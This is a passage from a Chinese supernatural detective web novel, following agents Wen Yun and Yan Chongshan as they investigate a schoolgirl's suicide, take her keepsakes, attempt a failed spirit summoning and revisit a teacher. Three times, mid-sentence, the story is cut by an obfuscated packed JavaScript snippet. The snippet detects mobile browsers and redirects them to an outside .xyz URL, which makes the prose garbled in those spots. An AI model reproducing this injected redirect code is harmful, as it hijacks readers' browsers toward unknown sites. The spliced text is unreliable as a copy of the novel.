他和严崇山飞快地交换了一个眼神,严崇山张口就编:“我们正在调查学校里另外两起命案,现在发现案件之间可能有关联,要把令爱的案子并案调查。你如果真的觉得她有委屈,不是自杀,现在就是帮我们查清的最好时机。” 李建安瞪着一双通红的眼,看了他们半天,终于做出让步,颓丧地关上了门:“……进来吧。” 他家里很乱,地上到处是烟头和空酒瓶,李芸芸的死对他的打击太大了,硬生生地将他从一个西装革履的体面人,变成了现在这样。 他和女儿的感情似乎很深。 闻允在室内环顾一圈,洁癖有点犯了,觉得自己无处下脚,只好站在原地,例行公事地先说了一句“节哀”,随后才问:“您为什么觉得李芸芸不是自杀呢?” 李建安一屁股在沙发上坐下,脚边的易拉罐骨碌碌地滚开,他摸出一根烟点上了,声音沙哑地说:“她没病没灾、没有心事,怎么会突然自杀呢?” 闻允问:“校方不是说她学业压力大么?” 李建安态度激烈:“放屁!她从小到大学习成绩都很好,上了高中也一直是前几名,有什么学业压力?” 严崇山自己能应付形形色色的人,却见不得有人冲自己的下属——尤其还是闻允,他皱起眉,挡在闻允和李建安之间,尖锐地问:“没心事?她的同学朋友说她跳楼前抑郁状态很严重,这也叫没心事,你到底关不关注你女儿?” 李建安第一反应就是要反驳他,可他张了张口,又哑然了。 他深深地抽了一口烟,才带着不易察觉的哭腔开口:“我……我太忙了,我光顾着赚钱,想给她更好的生活……但我和她关系挺好的啊,她有心事怎么会不告诉我呢?” 他的语气不像在辩驳,更像在问自己:“……她为什么不告诉我呢?” 以他这个状态,还有对女儿疏于关心的程度,嘴里估计是问不出什么来,闻允干脆问:“芸芸的遗物还在吗?我想看看里面会不会有相关线索。” “没有的,”李建安自嘲地一笑,“我都已经翻过了,什么都没有。” 随即,他死马当活马医地站了起来,打开一扇房门:“不过你们要是想查就进去查吧。” 他是搬过来的,客厅环境很差,但他打开的那间房间竟然被精心地收拾过。李建安似乎是还原了李芸芸的房间,小姑娘的东西放了满满一屋,极具生活气息,就好像李芸芸还活着,只是出门上学去了,放学就会回来。 闻允低声道谢,他和严崇山走进去,把门关上了。 房间里的床是一米五的尺寸,四件套是配套的,颜色鲜亮可爱,上面印满草莓图案。床铺紧挨着一个书桌,书桌玻璃下压着许多明信片,上面写满了祝福,字体各异,看起来是朋友们写了送给李芸芸的。书桌角落摆着一张父女俩的合照,两人姿态亲密,笑得无忧无虑。 严崇山大概扫了一眼明信片,没发现什么太有价值的东西,又四处环视。 在阴暗的房子里,只有这间房间朝南,阳光温暖地洒进来,打在床上一排坐满的小玩偶上。 靠墙摆满了一排纸箱,里面是各种各样的练习册和学习笔记,严崇山率先蹲下来,在里面随意地翻找,很快扒出一本上了锁的本子。 “你看,”严崇山晃了晃手里的本子,“上锁说明什么?” 闻允面无表情:“说明要开锁。” 严崇山:“说明可能有线索!一般只有日记才上锁吧,少女心事都写在日记里你懂不懂?” 闻允:“不懂。我不是少女,不过你好像很有经验?” 严崇山:“……” 这小子随口大小怼的臭毛病到底怎么养成的? 他不和闻允一般见识,开始推理:“我觉得一般人会用生日当密码,要么是她的生日,要么是李建安的生日……或者是她妈的生日。你等着,我去套话。” 他刚说完,闻允就从他手里接过本子,在桌角磕了起来。 严崇山目瞪口呆:“你干嘛?!” 闻允:“要是有生日就能开锁,李建安早就开了,轮得到你?” 他瞄准了角度,快准狠地又砸一下,没发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530299|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大动静,却硬生生地把锁给开了。 严崇山:“你……不是……你不尊重一下逝者吗?” 闻允提醒他:“是逝者也是嫌疑鬼。” 他俩打开本子,把脑袋凑在一起翻阅起来。 可惜,这不是一本日记本,只是一本普通的摘抄本。李芸芸读的虽然是理科,但人还挺文青的,看的书籍类型也很杂,上面既摘抄了散文段落,又摘抄了小说金句。 摘抄本上没有标明日期,但每一段摘抄都标了出处,除了最后一篇。 娟秀的字体在上面写着:我是馊掉的橙子汁和浓汤,我是爬满虫卵的玫瑰和百合,我是一个灯火流丽的都市里明明存在却没有人看得到也没有人需要的北极星。 严崇山大学是出国念的,脱离了母语环境,中文书也看得很少,他没看出什么门道,纳闷地问:“这是什么?” 闻允的心揪紧了一下,他轻轻地说:“《房思琪的初恋乐园》……” 严崇山:“写什么的?” 闻允语气挺凝重:“一个被□□的女学生,欺骗自己正在和老师谈恋爱。” 严崇山停了一下,他没说话,而是摸出一根烟,准备点上——随后他意识到,即便客厅乱成那样,李芸芸的房间里依旧干净整洁,甚至散发着淡淡的香气。 他于是把烟又收起来了。 严崇山:“动机很大,八九不离十……看看屋子里还有什么吧。” 闻允问:“不用做灵检么?” 严崇山摇头:“她这种跳楼自杀的人,就算成为了怨灵也是地缚灵,活动范围最多就在学校里,不会回来的……况且,就算她能自由行动,可能也不知道李建安搬了家。” 说完,严崇山自言自语地盘了起来:“就算她怨气很重,两个人的死法为什么不一样呢?蛊惑他们跳楼不是更快吗?为什么她非得在活动室里杀了那个姓张的,活动室有什么特别的吗?” 闻允没打断他思考,过了一会儿才问:“你之前说,用‘执念物’把她招出来的可能性更大,要把这本摘抄本带走么?” 严崇山:“嗯,我去征求一下……” 闻允直截了当地把笔记本塞进严崇山的怀里。 闻允:“别问,他和女儿感情这么深,你什么也没查出来就要拿走他女儿的遗物,他多半不会同意。” 严崇山拿着突然塞进他怀里的赃物,呆了一呆。 我不是来查案的吗,怎么还盗窃了? 闻允想了想,又说:“其实我们也不能确定摘抄本是不是她执念最重的东西,保险起见,我们把他们父女俩的合照也拿走。” 严崇山:“……” 他眼睁睁地看着闻允打开相框,把里面的照片取走,随后将相框倒扣,摆成不小心被碰到的样子,所有动作行云流水、一气呵成。 太好了,他上门像流氓,闻允搜证据像土匪,他们今天就能成立一个“狼狈为奸”组合,即刻出道。 还没感慨完,闻允就将那张照片也塞进了严崇山怀里:“拿着。” 严崇山的良心在作痛,他觉得照片十分烫手,便质问:“为什么是我拿着?你没口袋吗?” “有啊,”闻允自然地应了一声,但他似乎不理解严崇山怎么能问出这样的问题,于是说:“我已经办过入职手续了,虽然还在实习期,但也是个正经的公职人员。作为人民公仆,我不好意思做这种下三滥的事。” 严崇山简直要跳起来:“难道我就好意思?!” 闻允匪夷所思地看着他,想知道昨天“下三滥”那三个字是不是从他嘴里亲口说出来的。 严崇山被他的表情给提醒了,也回忆起自己昨天说了什么混账话,他干咳一声,慷慨地说:“那……那就我拿着吧。” 随后,做贼心虚的两人出去安慰了李建安一番,与他辞别。 两位人民公仆,就这样偷鸡摸狗、连吃带拿地离开了。 14. 闻知秋 严崇山固然缺德,但缺德到这个份儿上也是头一回,他生怕李建安突然生出火眼金睛,问他外套里藏着什么,故而动作飞快,连一句“有进展我再联系您”都没说,急匆匆地走了。 他不敢让闻允再开车,勒令满脸失望的闻允上了副驾驶座,龟爬回了特安局——早上他们丢了个烫手山芋在局里,不知道放凉没。 山芋没凉,李煦快凉了。 特安局里用一片狼藉形容也不为过,沙发上堆着不知道从哪儿刨出来的毛绒玩具们,地上散落着各式各样的零食,所有的装饰摆件都已经不在原来的位置,而是横七竖八地躺成一片,茶几上摆着一个香炉,里头有新鲜的灰,可能是谁试图给小女鬼上供了。 但显然,成效不佳,家已经快让小女鬼拆完了! 李煦欲哭无泪地看着他们,控诉一般说:“梨子姐还没回来,我和计遇哥也快被送走了……我不喜欢小孩儿啊!” 闻允这才回过味来,小女鬼不仅口头上管自己叫哥哥,也是真心实意把自己当哥哥看,否则以她这个迅雷不及掩耳的拆家速度,自己住的那居民楼小屋早就毁于一旦了。 而始作俑者毫无自知之明,她欢快地爬上严崇山收藏的古董罐,咯咯地笑着,响亮地发表评价:“——太好玩儿啦!” 严崇山看见自己的古董罐摇摇欲坠,他心惊肉跳地对闻允说:“你管管她!” 闻允将责任转移给计遇:“你的魂瓶呢?不能把她先收起来吗?” 计遇皱着眉:“魂瓶对她没用。” 闻允注视着计遇,一言不发,计遇奇妙地读懂了他的心思:你们局里有用的东西是不是太少了? 瓶子晃动的幅度越来越大,最终轰然……没来得及轰,在它摔个稀巴烂之前,严崇山眼疾手快地上前扶了一把,悲愤地抬高音量:“你管管她啊!” 吼我有什么用?我自己还被缠着呢。 闻允沉默片刻,生怕出了问题领导要自己赔钱,只好干巴巴地对小女鬼说:“别闹了。” 小女鬼的笑声戛然而止,她眼巴巴地看着闻允,想要撒娇又无从下手,纠结了好一会儿,才手脚并用地从古董罐上爬下来,捏着自己的裙摆,蹭回了闻允身边。 闻允叹了一口气:“你叫什么名字?” 小女鬼:“闻知秋!” 李煦惊骇地复述:“闻知秋?你也姓闻?!” 严崇山大惊失色:“我操,一个姓啊,她真是你妹妹?” 连计遇都跟着瞪大眼:“私生的?” 闻允这下也不能确定了,他从没听说过自己有一个妹妹。 会存在这种情况吗?爸妈瞒着自己偷偷生了一个妹妹还让她不小心死掉了? ……能打通电话去阴曹地府问问他父母吗? 闻允头疼地问:“那你哥哥叫什么?” 小女孩儿露出一种匪夷所思的表情,像是不理解为什么哥哥要问自己的名字,她理所当然地回答:“哥哥当然叫闻尽夏呀!” 闻允从未听过这个名字,但不知为何,三个字从闻知秋的嘴里说出来,却像是一段咒语被人念诵,话音落下的瞬间,闻允骤然痉挛着弯下腰去。 他的心口在刹那间剧烈疼痛,仿佛有一柄看不见的利刃将他的心脏贯穿,冰冷的锋刃在血肉中搅了起来,带来撕心裂肺的苦楚。 他连呼吸都做不到。 闻允站不住,陡然摔在了沙发上。短短几秒,他的额角便已冷汗涔涔,浑身难以自控地蜷缩。 强烈的疼痛令他面色惨白,他的手指紧紧地抓在自己的领口,像是想要抽出那柄施以酷刑的刀。 这一下把所有人都吓够呛,严崇山当即变了脸,他跪在沙发边,快速地询问他:“小允?你怎么了?我操……别愣着,叫救护车啊!” 闻知秋却似乎对这样的场面很熟悉,她站在沙发边,轻车熟路地来捏闻允的指尖,用稚嫩的声音笨拙地安抚:“不痛不痛,我给哥哥吹吹……” 随后,她真的凑来闻允面前。 可鬼是没有呼吸的,她吹不出那口气,沮丧地站在原地,黑漆漆的眼睛里盛满了担心。 闻允的耳畔嗡嗡作响,他根本什么也听不见,眼前一阵阵地发黑——但那不是全然的黑暗,一些碎片化的场景浮现在他的面前。 他看见自己正在奔跑,脚下铺着松软的草坪,葱茏的绿意延伸到不远处,被一条铺满鹅卵石的小道截断,再往远看,白墙黑瓦的院墙将这一方景色围起来——他在一个别墅小院里。 怪异的是,一切场景都被陈旧的滤镜笼罩着,显出暮色般的昏黄。 他似乎被困在他人的身体里,无法控制自己的一举一动,只能跟着对方转动视野,而视野有些不太对劲。 他太矮了,在他看来,身边的树、远处院落里的石桌,全都显得如此高大。 跑着跑着,他突然摔了一跤,他看见自己撑在地上的手小而瘦,指缝里还有一点点泥土。 他在一个小孩儿的身躯里。 身后有人咿咿呀呀地发出含糊的声音,他回过头,看见闻知秋在他身后,正亦步亦趋地跟着他。 她看起来比现在还要小得多,似乎还在牙牙学语的年纪,脸蛋肥圆,嘴角挂着一条新鲜出炉的口水,胸前围着一个打湿的口水垫。 她拍拍手,奶声奶气地叫:“哥哥——!” 随后,一双稳健有力的手将她从地上抱了起来。 闻允抬头望去,即便逆着光,他还是看到一个模糊的轮廓。那是个高大的男人,有点胖,啤酒肚凸出来,像是应酬多了的生意人,正笑容满面地看着他。 这是谁? 还没想明白,闻允感到有人扳过自己的肩,一个慈眉善目、气质优雅的女人望着他,表情介于无奈和好笑之间。她伸手拍了拍闻允裤子上的灰,温柔地问:“跑那么快干什么?妹妹都追不上你。” 听懂“妹妹”两个字,被抱在怀里的闻知秋骤然有了反应,她竭力地向他伸出手,男人拗不过,小心翼翼地将她放在了闻允面前。 她把自己的手指从嘴里拿出来,来捏闻允的指尖,那上面裹着湿湿热热的口水,但闻允并不反感,他听见闻知秋口齿不清地说:“吹……痛痛……呼!” ……这是什么?上辈子的记忆吗? 突然之间,回忆像水一样从旧陶罐的裂隙里渗了出来,闻允想起父母刚去世的那段时间。 那时他因为巨大的悲痛成天躲在卧室里,也许是为了自我保护,大脑开启了逃避机制,他总是觉得很困,一天到晚都蜷在自己的床上昏昏欲睡,什么也不管不问,任由那些热心肠的亲戚在家里进进出出,帮他操办丧事。 有一次,在黑暗的房间里,昏睡和清醒的边缘,他隐隐约约地察觉到有人在轻捏他的指尖。 那是一种充满抚慰情绪的动作,仿佛想将所有的关心和担忧都灌注在指尖轻微的力道里,这种不言说的陪伴把闻允从漆黑的情绪泥潭里捞起来一些,他意识到自己并非孤身一人。 ……他一直以为那是某个进房照看他的长辈。 记忆与现实混乱地交叠,闻知秋捏着他的指尖,嘴角向下撇,眉头皱着,表情悲戚——鬼没有眼泪,这就是她最悲伤的表达了。 严崇山看不见闻知秋,他只能看见闻允双目紧闭、正不停发抖,于是当机立断地将闻允拉起来,一把背到背上。 救护车来得太慢,他怕闻允等不起。 而在他触碰到闻允的瞬间,一直无法被魂瓶收押的闻知秋突然惊叫了一声,身形急速缩小,转瞬被收进入魂瓶中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530300|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 旁观的计遇顿了一下:“……嗯?” 李煦:“嗯?!” 李煦年纪轻轻就能成为技术处骨干成员是有原因的,他对所有灵异相关的东西都抱有强烈的好奇心,研究起来兴致高涨,能够做到不眠不休。 魂瓶的变化把他的好奇心给勾起来了,他简直觉得心里有一只小爪子正细密地挠着他。 但新同事状态看起来又挺差……现在离场去研究是不是怪不人道的? 终于,纠结片刻后,他熊熊燃烧的科研之魂还是战胜了良心。反正领导在、计遇哥也在,能让闻允出什么事呢?他下定了决心,飞快拎过魂瓶,撂下一句“你们照看闻允哥!”,急匆匆地冲进了电梯里。 严崇山无暇他顾,他听见闻允在自己背上微弱地发出两个字:“……” “什么?”严崇山回了回头,尽量让自己的耳朵贴着闻允的嘴唇,几个细如蚊呐的字涓涓地淌了进来:“……不要去医院。” 闻允缓了缓,吃力地拍了拍严崇山的肩:“……不痛了,不去医院,放我下来。” 严崇山厉声斥驳:“胡闹什么,疼成这样还不去医院,你作什么死?” 然而闻允态度坚决,干脆在他背上挣了起来,严崇山用力地啧了一声,将他放回沙发上。 严崇山:“不去医院可以,你跟我说清楚,刚才怎么了?你总这样吗?你有心脏病?” 一言难尽。 闻允这颗心脏是移植来的,到他身体里后表现得十分顽强,一直没灾没痛,健康得不像话,谁知第一次作妖就作了个大的,好险让闻允撅过去。 闻允靠着软垫,冷静地否认:“有过,已经好了,没什么事。” 随后,他有些迟疑地开口:“……但我刚才好像产生幻觉了。” 严崇山冷笑一声:“疼得见到你列祖列宗了吧?” 闻允有气无力地推了他一把。 严崇山把表情一敛,语气微微沉下去:“你刚才想吓死我了知不知道?我以为又得准备抚恤金了。” 闻允:“又?” 严崇山敷衍地应付过去:“没事。……你真好了?我还是觉得得去医院看看,心脏病能说好就好吗?” 闻允小时候进医院的次数数不胜数,他对这种地方有着天然的抵触,便一口否决:“不。我真好了,大学体检很健康。” 他顿了顿,擦掉额角的冷汗,补充说:“……但是我想睡一会儿。李芸芸的东西拿回来了,你们今晚是不是还去招魂?到时候把我叫起来。” 严崇山还没开口,计遇先接话:“得了吧,你到时候死那儿了,好好歇着吧。” 严崇山很有良心地点头:“嗯,身体为重,招魂现场有你没你都一样,别逞强。” 闻允一时也听不出严崇山究竟是真的在体恤他、还是借机损他,他坚持说:“那毕竟是我的母校,我也想知道究竟是怎么回事。” 严崇山伸手弹了他额头一下:“有命在才能知道……你先睡吧,别在梦里悄无声息地嗝屁了,我可是特地把特安局置办在这里的,风水可好了,你别给我弄成凶宅了。” 计遇突然在边上不轻不重地接过话:“还用等小允?这里早就是凶宅了。” 严崇山掀起眼皮看了计遇一眼,他脸上没什么表情,连眉头也没皱,但眼神很深,一股挡不住的戾气从眉宇间透露出来。 他很少这么明显地不高兴,计遇自知说错话,微微一顿,别开了脸。 对于领导这突兀的变化,闻允一点也没看着,他被刚才那一出闹得筋疲力尽,已经人事不省,在沙发上歪斜地睡着了。 严崇山叫醒他也不是,想把他背起来又不好动作,翻来覆去比了好几个姿势,最终将闻允打横抱起,运回了房间里。 15. 旧事 闻允坐在阳台的吊椅上,微风拂面,但他没有任何感知,只看见自己的裤腿被吹得微微摆动。 这是他自己的家,被严崇山评为家徒四壁的那一套。 此时,他家看起来还并不那么陈旧,阳台的地砖缝还没有因为长时间的风吹日晒而变色,盆栽郁郁葱葱地堆满阳台,一片生机勃勃。 有个女人端着一盘切好的苹果来了,那盘苹果被处理得很仔细,去了皮,切成适合入口的小块,女人笑吟吟的,她在闻允身边蹲下,拿牙签扎起一块,送到闻允嘴边。 和刚才心脏作痛时看见的幻象不一样,闻允对这个人再熟悉不过,这是他的母亲,一个温柔的女人,她和父亲是一对医生,都在公立医院上班。闻允查出先天性心脏病以后,母亲请辞了,在家里专门照顾他。 他乖顺地叼走了那块苹果,尽管它吃起来味同嚼蜡。 母亲含笑问:“小允在看什么呢?” 他指着地上一只团团转的小蚂蚁,含含糊糊地说:“它被困住了。” 当时下过一场大雨没多久,阳台上有未干的积水,那对人类来说微不足道的一片积水却成了难以跨越的汪洋,一只小蚂蚁在积水前摇晃着触须,它反复尝试想要通过,却总是失败。 母亲柔声提点:“你想帮他跨过去吗?咱们拿叶片给它搭个桥吧。” 闻允摇摇头:“植物也有生命……我不能这样帮它。” 闻允也就七八岁,照理来说对生死不该那么有概念,但他的心脏病让父母常常以泪洗面,尽管他们已经极力背着他,但闻允还是偷看过几次,他聪慧的小脑袋瓜无师自通了“死亡”是怎么回事,对万物枯荣开始产生了自己的想法。 话说完,他从吊椅上爬了下来,到客厅抽了几张纸巾,折身回来,将那片积水吸走了一大半。 小蚂蚁不会道谢,它只是摇头晃脑地爬走,就足以令闻允感到喜悦。 母亲微笑着,她酝酿好了一腔准备夸赞儿子善良聪明的说辞,但话还未出口,她先被电话铃声打断了。 她摸了摸闻允的头,将电话接起:“喂?怎么上班打电话来?” “……什么?”不知道电话里说了什么,她有点激动。意识到自己的失态,她看了闻允几眼,随即转身回到客厅,压低音量,声音遥远而模糊:“配型成功了?但是……你不怕被查吗?而且这也……太……” 电话那头的人又说了几句,母亲背对着闻允,闻允看不见她的表情,只看见她像被人施展了定身术,长久地站在原地,最后下定决心一般说:“好,什么时候?” “下午?这么快?……嗯,我知道了,我送小允过去。” 眼前一花,闻允已经躺在了病床上。 父亲握着他小小的手,既含安抚,又鼓励地说:“手术很快的,睡一觉就结束了,以后你就是健康的孩子了……不要害怕,好不好?等你好了,爸爸带你去游乐园玩,坐过山车。” 闻允想多看双亲一会儿,他太久没见到这样生动的父母了,因为年岁悠长而变得浅淡的思念之情在此刻无可抑制地复苏,他有许多话想对他们说:我后来遇见的人对我都很好,我考上了很好的大学,我找了一份很好的工作…… 但他身不由己地点点头,坠落感袭来,他转眼已经躺在了ICU病房里,浑身上下插满了管子。 他还记得那时候的感受,胸口疼得要命,所有管子都让他觉得不舒服,他总是长时间地昏睡,偶尔醒来。 某次睁眼时,她看见一个小姑娘站在他的床边,神情有点呆。 她像是不能确认眼前的情况,嗫嚅地开口:“……哥哥。” “你是我的哥哥吗……?” 女孩子…… 闻允迷迷糊糊地想。是谁呢?他从来都没见过她,这是哪个亲戚的孩子? 他并不是每次睁眼都能看到她,她有些神出鬼没,有时候站在闻允的窗前,有时候蹲在床尾,有时候问他:“爸爸妈妈在哪里?” 体征稳定后,他被转入了普通病房,面对满脸关切的父母,他问:“那个经常来看我的小妹妹是谁?” 这句话如同打开了什么潘多拉魔盒,一种难以言喻的恐慌被释放出来,袭击了他的父母。母亲神情紧张,她细细地追问闻允见到了什么样的小姑娘,又是怎么看见的。 之后,她着急忙慌地到病房门口,用哭腔给谁打了一通电话。 回来后,她紧紧握着闻允的手,交代道:“都是假的……你看到了幻觉了。宝宝知道幻觉是什么吗?” 闻允如实地摇头。 她红着眼眶,仍然微笑:“那你和爸爸妈妈玩一个游戏好不好?以后看到奇怪的东西,你就假装看不见他们……只要你做得好,你想要什么爸爸妈妈都会给你的,好吗?” “为什么?” 那积蓄的眼泪终于从母亲的眼眶里掉落出来,她咬着牙,哀戚地说:“否则他会带走你的,他不会甘心的,他……” 母亲的脸扭曲了几下,她的五官像是被切成了几段,虽然还拼凑在一起,却诡异地错位了,随后她张口,嘴里发出一个男人的声音:“闻允?” 闻允吃了一惊,他想去拉妈妈的手,却听见有个声音盘旋在病房里,似乎是从更远的地方传来。 “要不让他接着睡算了……难受成这样。” 我不要睡。闻允清醒地想。我是在做梦吗?我想去查案,我不知道的东西太多了,我什么都想弄清楚。 他浑身都在用力,想找到属于身体的真正的感知,终于,他费力地撑开眼皮,看清了四周。 没有仪器、没有点滴、没有白色的病房,他躺在特安局自己的房间里,严崇山和计遇并肩站在床边,像探望病人一样看着他。 “醒了?”严崇山见他睁眼,微不可查地松了口气,“你还行吗?我们准备出发了,罗梨在学校里等着。” “嗯,”闻允醒了一会儿神,从床上坐起来,行动如常,不见吃力,“没哪里不舒服,出发吧。” 车是计遇开的,他算是三个人里开车最正常的一个,既不慢得令人心焦,也不快得让人胆寒,他平平稳稳地开到学校门口,降下车窗,和老保安打了个招呼,驶进了学校。 周五学校正常上课,现在是晚自习的点,几栋教学楼灯火通明,招魂前凝滞的不安感被亮光驱散。 也因为人多,罗梨看起来没有上次紧张,她向严崇山汇报:“我和计遇上次在学校里布了四个暗桩,我们先去检查一下,看看阵法还在不在正常运行。” 严崇山利落地批准:“行,检查完活动室汇合。” 他们本该在陈老师死亡的那间办公室里再尝试尝试,不过里头现在都是老师,他们也不好找借口把人都支开——更何况要是真招出什么来,最危险的是普通人,只能重返旧地,回活动室。 考虑到闻允的身体情况,严崇山难得自己动手了,他从工具箱里摸出牛眼泪,轻车熟路地往自己眼睛里滴了两滴,随后点好蜡烛、摆上八卦镜、围上红线,将摘抄本和合照一并放在八卦镜上。 烛光将合照晕染得有些发黄,李芸芸依偎着李建安,眼神清澈,笑容纯真,两眼望着天花板。 “挺好的一个姑娘,”严崇山摇头说,“走到这一步,真是可惜了。” 闻允不发表任何评价。 如果真相真的如同他们解读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530301|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那样,李芸芸是为了复仇杀了张景程,那他倒觉得这是天理昭昭报应不爽,一命还一命,没什么可惜的。 ……只是陈老师为什么会被牵扯进来呢?她也是李芸芸杀的吗?她又做错过什么事情? 想得入神时,计遇和罗梨回来了,罗梨先开口说:“阵法没问题,不过……” 计遇接过她的话:“不过我们还发现了另一个阵。” 严崇山将眼睛一抬。 计遇:“和命案应该没什么关系,那阵法很蹩脚,错漏百出,看不出设立的目的,而且时间很久了。这学校里又是鬼杀人又有阵法,烂事扎堆,恐怕还得查查怎么回事。” 严崇山不置可否地点了个头,随后他向罗梨说:“开始吧。” 他态度郑重,甚至近乎凝重,计遇面无表情地候在一旁。 罗梨不安地将两手攥成拳,她一步跨入红线内,吞吞吐吐地说:“如果……” “放心,”严崇山安慰她,“我们带了几张能攻击的符咒,不会让你出事的。” 罗梨没被这句话安抚多少,她捂住怦怦直跳的胸口,合眼低下头来。 请来见我。 我想见你。 请来见我…… 我想见你…… 闻允比严崇山强许多,不必借助牛眼泪,他也看见罗梨身上泛起一层不详的红光。 烛火在这种力量的影响下急促地跳跃起来,但足足过了好几分钟,现场都没有任何事情发生。 计遇仔细地观察四周,最后皱着眉朝严崇山摇了摇头。 一阵微风吹过,罗梨一身虚汗地睁开眼:“没有吗?” 没有鬼魂的痕迹,这次仍然是一无所获。 严崇山忍不住摸出一支烟,还没点上,罗梨跨过红线走了出来,伸出一只手,朝严崇山勾勾手指:“我也要。” 计遇似乎对她抽烟的行为颇有微词,却不便说什么,他看着罗梨将烟点燃,慢吞吞地挪开视线。 “很棘手啊……”严崇山抽了一口烟,啧了一声,“两个死者的死亡方式风马牛不相及,嫌疑鬼只对其中一个有作案动机,但是两个案发现场都没有灵痕……要是能把她找出来,说不定审一审也就清楚了,但是……” 闻允接话:“但是掘地三尺找不到。” 严崇山从鼻腔里呼出烟雾,像个冒气大烟囱。 好一会儿,他突然说:“我得再找一次乔老师。” 闻允对他这番话很不高兴,他觉得严崇山一视同仁地怀疑了乔老师:“她和案子能有什么关系?” 严崇山回答:“那天小胖子说她是音乐社的指导老师,理论上她和李芸芸应该接触过,但你记得我们去她家的时候她怎么说的吗?她说她和李芸芸没什么交集。” 闻允尖锐地反问:“她说错什么了?一个社团的指导老师,会和每一个加入社团的学生都相熟吗?” 严崇山:“乔老师她……” 他刚开口,突然看了闻允一眼,没接着往下说。 计遇很清楚这个领导的各种表现,严崇山一定是知道了什么,但有意向闻允隐瞒。 果然,严崇山话锋一转:“总之我明天会来学校见她一面,你不用跟着我来了。” 闻允一反常态,坚持道:“如果你要见的是乔老师,我要跟你一起行动。” 严崇山:“你不是嫌我老带着你吗?而且身体还不好,脆得跟玻璃似的,你要不还是歇歇吧。” 闻允不回答,但所有人都能从他眼睛里看出,那是“我不会善罢甘休”的眼神。 严崇山服了,他大手一挥示意所有人撤退,点评道:“你真是个难伺候的祖宗。” 16. 追击 崇明中学的成绩挺漂亮,像闻允这样能考上顶尖学府连大的学生每年能出好几个,这也侧面说明了崇明中学的假期少。 他们学校周末也上课,周六早上上一个上午,下午和晚上放假,周日早上就又要求学生集体返校。 时值周六上午,乔老师在带班。 她竟敢大言不惭地对严崇山说欢迎叨扰,严崇山就真的敢厚颜无耻地反复叨扰,他带着一个甩不开的闻允,大摇大摆地走进高三教学楼。 莘莘学子们正被困在做不完的习题里,注意力涣散的一点风吹草动都能第一时间发现,他们一路走过走廊,引起不少学生探头探脑的围观,老师还在讲台上念经,底下已经翻起窃窃私语。 严崇山全然不觉得自己影响了学习,他心安理得地找了一路,在三班窗外看见了讲题的乔老师,便往走廊上一杵,等着几分钟后下课。 最先注意到他们的是几个女生,她们回头低语几句后,大部分学生都将眼神探出了窗外,议论着两位到访的不速之客。 “哇……那个是不是闻允学长?” “对的对的!太可惜了,咱们进学校的前一年他刚好毕业,根本没能亲眼看到校园传说,学校论坛里那几张偷拍我都快盘包浆了,还是本人更好看啊。” “什么校园传说?” “连续三年蝉联校草的校园传说!当时还有人卖学长微信呢,一个十块钱。” “只要十块钱我也买!” “没用的啦,学长谁也不加……话说边上那个是谁?他也挺帅的,也是学长吗?” “咱们学校有这么多这个级别的学长吗?那我也太生不逢时了……” 乔老师在一片议论里敲了敲黑板,她讲课时不像平时相处那么温和,有点不怒自威,几个学生回过神来,吐了吐舌头,一头又扎进了知识的海洋。 随后,她满是责备的目光探照灯一般照了出来,精准落在了严崇山身上。 严崇山:“……” 我们不是两个人一块儿站这的吗?这也太偏心了! 闻允心领神会,拿胳膊肘捣了严崇山一下:“我们站这影响乔老师上课了,走,去办公室等她。” 严崇山一秒推锅:“你全责。” 闻允:“关我什么事?” 严崇山幼稚地拉长语调,阴阳怪气地调侃他:“你没听见吗?小校草~” 闻允重重地翻了他一个白眼,转身走了。 约莫五分钟后,下课铃响了,乔老师怀里抱着课本,领着一串嘻嘻哈哈的女学生回了办公室。 当然,这几个姑娘不是她带来的,说是有问题想问——乔老师没见她们这么好学过,明知她们醉翁之意不在酒,又不好驱赶,只能无奈地允许她们跟过来。 最离谱的是,这群女学生里还夹着一个高高瘦瘦的男生,跟她们一样兴致勃勃。 闻允没有乔老师那么好说话,他毕竟有公务在身。 他堵在办公室门口,对着一群你推我搡的小姑娘……以及那个男生道:“不好意思,警察问话,你们一会儿再来吧。” 说完,他毫不留情地将一干面红耳赤的学生们拍在了门外。 而面对乔老师,他又换了一副态度,他在严崇山身边坐下,客气又不好意思地说:“三番五次来找您,实在是打扰了……不过我领导还有点事想了解一下。” 也许是做老师的都更有耐性,乔老师心胸宽广地表示理解,也没追究他们扰乱课堂秩序的事,将目光投向了严崇山,作洗耳恭听之态。 严崇山不走没用的过场,他开门见山道:“乔老师,之前你说和李芸芸不熟,没法给我们什么信息,但你不是音乐社的指导老师吗?” 乔老师儒雅地推了推眼镜,有理有据地回答:“我虽然是指导老师,其实只挂了个名,不太干涉学生活动。” 